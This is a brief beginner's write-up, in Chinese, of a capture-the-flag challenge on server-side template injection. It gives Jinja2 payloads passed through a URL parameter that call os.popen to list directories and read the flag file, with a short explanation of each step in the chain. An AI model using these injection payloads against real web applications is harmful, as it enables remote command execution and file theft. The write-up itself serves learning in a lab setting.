新手尝试
此题内容同ssti,但是按照老样子进入F12审计后,未发现有效信息,利用惯性思想使用BP抓包未果(刚起步,只能一个一个试)。
只能题目评论区寻求大佬解答。
SSTI 模板注入
http://ip:port/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
其中,class:用来查看变量所属的类,init :初始化类,返回的类型是function,__globals__查看所处空间的属性,os.popen()方法:用于打开一个管道后返回对象。
总之,就是类-初始化对象-对象的功能与属性-打开管道后将对对象的功能属性输出。
进入文件目录后,发现异常:app文件夹在最前面,遂更改ls
http://ip:port/?flag={{ config.__class__.__init__.__globals__['os'].popen(‘ls ../app’).read() }}
找到flag
http://ip:port/?flag={{ config.__class__.__init__.__globals__['os'].popen(‘cat ../app/flag’).read() }}